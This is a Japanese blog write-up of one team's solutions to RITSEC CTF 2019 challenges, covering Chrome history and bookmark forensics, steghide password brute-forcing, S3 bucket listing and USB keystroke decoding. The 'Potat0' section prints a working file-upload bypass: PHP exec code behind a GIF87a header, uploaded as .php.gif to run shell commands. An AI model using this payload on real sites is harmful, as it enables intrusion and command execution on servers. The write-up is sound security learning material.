setodaNote

忘れる用のメモ書き

RITSEC CTF 2019 Writeup

この週末に開催されていた RITSEC CTF 2019 にチームで参加していました。

解いた問題について Writeup を記載します。


(Forensics) Long Gone

以下のような問題文とともに chromebin という 200MB 程度のファイルが渡されます。

That data? No it's long gone. It's basically history

ファイルサイズが大きかったので最初はディスクイメージかなにかかなと思って 開こうとするもうまく開けず、Kali Linux 上にコピーしたらアイコンから tar ファイルと判明。

f:id:soji256:20191118204104p:plain:w100
file icon (chromebin)

一応 file コマンドで確認しておきました。

$ file chromebin
chromebin: POSIX tar archive (GNU)

ということなので、ファイルを展開します。 中身は Chrome のユーザプロファイル一式のようでした。

f:id:soji256:20191118201630p:plain
files in the chromebin

ファイルが1800以上もあるようなので、どこかあたりをつけて調べたい。

問題文には「history」と書かれていたので、きっと履歴ファイルにフラグがあるのだろう。

ということで履歴ファイルを探します。

f:id:soji256:20191118202226p:plain
Chrome History Files

いい感じに見つかったので調べます。

Chrome の履歴ファイルは SQLite 形式だったなーという記憶を頼りに「DB Browser for SQLite」で開いてみます。

f:id:soji256:20191118203028p:plain
DB Browser for SQLite - Chrome History File

とてもいい感じに表示できました。 とりあえずテーブルをひとつひとつ確認してみます。

f:id:soji256:20191118235920p:plain
keyword_search_terms

最初にデータが詰まっていた検索語句のテーブルを眺めていました。 「how to lie to NSA and CIA」「how to join CIA」「how to join NSA」や「I hate CTFS」 といったキーワードが目に付きますが、特にフラグに結びつくものは・・・

f:id:soji256:20191118203849p:plain
Flag ?

・・・!

URL にアクセスしてみます。

$ curl us-central-1.ritsec.club/l/relaxfizzblur
RITSEC{SP00KY_BR0WS3R_H1ST0RY}

やったぜ

  • フラグ: RITSEC{SP00KY_BR0WS3R_H1ST0RY}

(Forensics) Vacation

問題文は以下の通り。与えられるファイルは先程の「Long Gone」と同じようでした。

These are my favorite places to visit

ふむふむ。

問題文に visit とあったので訪問した URL にヒントがあるのかなーと History ファイルを閲覧してみたものの、 特に怪しいものは見つけられず。

履歴はさっきの問題で見たはずという違和感を感じて改めて問題文を読むことに。

今度は favorite とあるのに気づき、なるほどお気に入り、つまりブックマークを調べるのかと理解する。

ブックマークファイルを探します。

f:id:soji256:20191118205057p:plain
Bookmark Files

いい感じに見つかりました。

中身を見てみます。

f:id:soji256:20191118205202p:plain
Bookmark File

ひとつひとつ URL にアクセスしてみるもフラグに結びつくものは見当たらず。

URL そのものがフラグのような形("_" で単語を結んでいるもの)もあったので試すが、通らず。

ここで考えが止まったのでしばらく問題を放置。。。

(数時間後)

改めてブックマークを見てみる。

見てみる。

見てみる。

眺める。

URL 以外にも何か・・・

id...

gui_id...

name...

type...

んー・・・

name...?

f:id:soji256:20191118205728p:plain
Flag ?

お、おった・・・!!

とても怪しい文字列が名前になっているのに気づく。

並べる

RITSEC{CHR0M3_BM_FTW}

やったぜ

  • フラグ:RITSEC{CHR0M3_BM_FTW}

(Stego) the_doge

問題文は以下の通り。そして the_doge.jpg というファイルが渡される。

Steganography is the practice of concealing messages or 
information within other nonsecret data and images. The doge 
holds the information you want, feed the doge a treat to get 
the hidden message.

jpeg が与えられていて問題文にも The doge holds the information you want, feed the doge a treat to get the hidden message. と書かれているので steghide でキーワードを与えるとフラグに近づけそうという感じがする。

一応 exiftool にかけておく。

File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.02
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Image Width                     : 550
Image Height                    : 413
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 550x413
Megapixels                      : 0.227

特に目立つものはなかった。

とりあえず steghide にかけてみる。

$ steghide --extract -sf the_doge.jpg -p doge

英語力が普通の人であればキーワードにすぐに気づくらしかったが、 それに気づけず doge the_doge feed Kabosu など的外れのキーワードを試して全滅。

心が折れたので自分で考えるのを放棄する。

steghide をブルートフォースしようという考えに至る。

探すと「Steghide Brute Force Tool」というのが見つかった。

素晴らしい。

ということで採用する。

使い方を読むとパスワードリストが必要とのこと。

Kali Linux に備え付けのがあった気がするので調べて準備しておく。

$ gzip -d /usr/share/wordlists/rockyou.txt.gz

さっそく「Steghide Brute Force Tool」を走らせる。

python ./Steghide-Brute-Force-Tool/steg_brute.py -f the_doge.jpg -b -d /usr/share/wordlists/rockyou.txt

しばらくすると asdfghjkl;' というワードがいかにも 見つかったぜ! という顔をして出てくる。

が、通らず。

何の情報も得られませんでした!

と steghide に言われる。

よくよく出力結果を見てみると、どうやらエラーが発生している様子。

おそらくシングルクォーテーションが悪さをしているのだろうと考える。

少しだけスクリプトを修正してみるが、試行錯誤の結果、シングルクォーテーションを入れ込むのは難しそうという結論に至る。。。

考え方を切り替える。

きっとそんな複雑なワードを steghide のキーワードにしていないだろう。

そうに違いない。

ということですべて捨て去ることに決める。

以下のような処理を steg_brute.py に追加する。

password = password.replace("'", "")

シングルクォーテーションなんてなかった。

ということで処理を再開する。

python ./Steghide-Brute-Force-Tool/steg_brute.py -f the_doge.jpg -b -d /usr/share/wordlists/rockyou.txt

しばらく待つ。

進捗率は 0% のまま進まないが、とりあえずさっきエラーになったところは通り過ぎた様子。

待つ。

待ったが終わらない。。。

とりあえず放置しておく。

しばらくして、もう諦めようかなと見直すと結果が出力されていた。

 wrote extracted data to "the_doge_flag.txt".


 [+] Information obtained with password: treat

RITSEC{hAppY_l1L_doG3}

やったぜ

  • フラグ:RITSEC{hAppY_l1L_doG3}

(Web) Buckets of fun

問題文は以下の URL が渡される。

http://list-s3.scriptingis.life.ctf.s3-website-us-east-1.amazonaws.com

とりあえずアクセスしてみる。

f:id:soji256:20191118220219p:plain
Welcome to my challenge!

パスワードを入力させるような画面が表示されるが、 ソースを見ると javascript で表示を返すだけで意味のあることはできなさそう。

f:id:soji256:20191118220249p:plain
Source Code

このページ以外に何かすることがありそうなのかなと考える。

タイトルを見返す。

「Buckets」とある。

Buckets と与えられた URL から「Amazon S3 バケット」という単語を連想する。

肝心なところをメモを取っておらず思い出せないが、さらっと検索してファイル一覧を取得できる以下の URL に行き着く。

https://s3.amazonaws.com/bucketsoffun-ctf/

f:id:soji256:20191118223425p:plain
Flag ?

あやしいファイル youfoundme-asd897kjm.txt がホストされているようなのでアクセスしてみる。

https://s3.amazonaws.com/bucketsoffun-ctf/youfoundme-asd897kjm.txt

RITSEC{LIST_HIDDEN_FILES}

やったぜ

  • フラグ:RITSEC{LIST_HIDDEN_FILES}

(Web) Potat0

問題文は以下の通り。

http://ctfchallenges.ritsec.club:8003/

Flag format is RS_CTF{}

とりあえず渡された URL にアクセスしてみる。

f:id:soji256:20191118223906p:plain
Web Page - Potat0

なんにもなかった。

フェイスブックっぽいアイコンは RITSEC の Twitter アカウントに、 インスタグラムっぽいアイコンは RITSEC の Instagram アカウントに、 それぞれリンクされていた。

それぞれリンク先のページを見てみるが、フラグっぽいものは見つけられず。

f:id:soji256:20191118224411p:plain
Source Code - Potat0

ソースコードもも特に不審なところは気づけず。。。

しばらく放置。

(翌日)

チームメンバーから index.html にアクセスするとデフォルトのサンプルページが表示されると教えてもらい、見てみる。

f:id:soji256:20191118224253p:plain
Default Page - Potat0

ふむふむ。

ということは他にもページがありそう、という気がしてくる。

改めてソースコードを見てみる。

f:id:soji256:20191118224411p:plain
Source Code - Potat0

そういえばコメントがあるなと思い至る。

upload and photos not yet linked というフレーズを Web 検索してみるがヒットせず。

ということはなにか自動で出力されるものではなく、運営側が用意した文字列っぽいなと思う。

ぴこーん

http://ctfchallenges.ritsec.club:8003/upload/ にアクセスしてみる。

f:id:soji256:20191118224636p:plain
upload - Potat0

ぴこーんときただけに反動でショックを受ける。

めげずにもう一つを確かめる。

http://ctfchallenges.ritsec.club:8003/photos/ にアクセスしてみる。

f:id:soji256:20191118224804p:plain
photos - Potat0

ショックを受ける。

orz...

立ち直る。

http://ctfchallenges.ritsec.club:8003/upload.php にアクセスしてみる。

f:id:soji256:20191118224906p:plain:w350
upload.php -Potat0

やったでおい

http://ctfchallenges.ritsec.club:8003/photos.php にアクセスしてみる。

f:id:soji256:20191118225106p:plain
photos.php - Potat0

いい感じに見つかる。

過去の CTF などを思い出しつつ、現状のアップロード機能や表示機能を確認する。

アップロードしてある画像ファイルを Web ブラウザで表示すると文字化けの画面が表示される。

どうやら画像ファイルとしては破損しているもののよう。

よく見るとコードの断片らしき記述がまざっているものが見つかる。

ふむふむ。

どうやらファイルをアップロードしてコードを実行する感じらしいと分かる。

いくつか試したり他の人がアップロードしているらしいものを見るに、 ファイルの冒頭にあるマジックナンバーと拡張子でファイル種別を識別して画像だけしかアップロードできないようになっているようだと分かる。

ということで ASCII 文字で簡単に作れる gif が便利そうなので、これを中心に考える。

適当な php サンプルを Web から拾ってきて少し書き換えたものでコマンド実行を試みる。

GIF87a
<?php

var_dump( exec('ls', $out, $ret) );
print_r( $out );
var_dump( $ret );

?>

これを .php.gif といったファイル名でアップロードするとうまく画像としてアップロードできる。

先程の photos.php から画像の URL にアクセスすると結果が確認できる。

GIF87a string(4) "test" Array ( [0] => 10_0_0_37.gif [1] => 10_0_0_37.php.gif [2] => test ) int(0)

いい感じに ls ができている様子。

コマンド部分を書き換えつつ、順次、フラグファイルを探していく。

ls /
GIF87a string(3) "var" Array ( [0] => bin [1] => boot [2] => dev [3] => etc [4] => home [5] => lib [6] => lib64 [7] => media [8] => mnt [9] => opt [10] => proc [11] => root [12] => run [13] => sbin [14] => srv [15] => sys [16] => tmp [17] => usr [18] => var ) int(0)
ls /home
GIF87a string(8) "flag.txt" Array ( [0] => flag.txt ) int(0)

フラグっぽいファイルが見つかる

cat /home/flag.txt
GIF87a string(32) "RS_CTF{FILE_UPLOAD_ISN'T_SECURE}" Array ( [0] => RS_CTF{FILE_UPLOAD_ISN'T_SECURE} ) int(0)

やったぜ

  • フラグ:RS_CTF{FILE_UPLOAD_ISN'T_SECURE}

喜びつつ、他の人に見られるのは残念なのですぐにコマンド実行しない内容の同名ファイルをアップロードして上書きしておく。

(参考)(Stego) HD Pepe

何時間か色々と試すも解けず。

とりあえずと exiftool の結果をチームメンバと共有して放置。。。

File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 4500
Image Height                    : 4334
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Warning                         : [minor] Text chunk(s) found after PNG IDAT (may be ignored by some readers)
Exif Byte Order                 : Big-endian (Motorola, MM)
Image Description               : gh:cyberme69420/hdpepe
Resolution Unit                 : inches
Artist                          : degenerat3
Y Cb Cr Positioning             : Centered
Exif Version                    : 0231
Components Configuration        : Y, Cb, Cr, -
User Comment                    : version control hehe
Flashpix Version                : 0100
GPS Latitude Ref                : North
GPS Longitude Ref               : East
Image Size                      : 4500x4334
Megapixels                      : 19.5
GPS Latitude                    : 39 deg 1' 10.11" N
GPS Longitude                   : 125 deg 45' 12.20" E
GPS Position                    : 39 deg 1' 10.11" N, 125 deg 45' 12.20" E

あるメンバが「gh:cyberme69420/hdpepe」が github の URL を意味することに気づき、

最終的に別のメンバがそれをもとにフラグを見出す。

  • フラグ:RITSEC{M3M3S_CAN_B3_M4LICIOUS}

(参考)(Forensics) URGGGGG

問題文は以下の通り。キャプチャしたパケットが渡される。

One of our operatives sent us this packet capture but we 
aren't quite sure what to make of it, what can you find?

パケットを見る。

f:id:soji256:20191118231941p:plain
URGGGGGG.pcapng

USB の通信を記録したもののように見える。

ということはキーロガーかなと思い至る。

少し Web 検索すると3バイト目に押下したキーが記録されるという記述が見つかる。

ついでにキーマッピングからフラグの先頭文字が出現すれば以下の値だろうということが分かる。

0x15 0x0c 0x17 0x16 0x08 0x06

とりあえず眺めてみてみる。

f:id:soji256:20191118232640p:plain
0x15 - URGGGGGG.pcapng

見つかる。

ここから RITSEC の順につながっている。

ついでに先頭の部分が SHIFT や CTRL に対応しているようだと分かる。

あとはつなげるだけで文字になるかなと思ったが、途中で入力済みの文字をコピペしてフラグ文字列を作っているようで少し推測をしつつフラグ文字を完成させる。

  • RITSEC{wH0_s@id_netw0rk1nG_wAs_tH3_oNlY_pAck3t_TyP3}

赤字の部分が推測した箇所。

間違っているらしくフラグ通らず。

leet 文字の変換と見比べながらいくつか試すが通らず。。。

RITSEC{wH0_s@;d_netw0rk1nG_wAs_tH3_oNlY_pAck3t_TyP3}
RITSEC{wH0_s@;d_n3tw0rk1nG_wAs_tH3_oNlY_pAck3t_TyP3}
RITSEC{wH0_s@id_nftw0rk1nG_wAs_tH3_oNlY_pAck3t_TyP3}

ここまでやったものをチームメンバに共有。

メンバが見事に特定してくれてフラグゲット。

フラグ:RITSEC{wH0_s@id_n3tw0rk1nG_wAs_tH3_oNlY_pAck3t_TyP3}

更新履歴

  • 2019/11/18 新規作成
  • 2019/11/21 Potat0 に関して考えに至る過程を一部追記。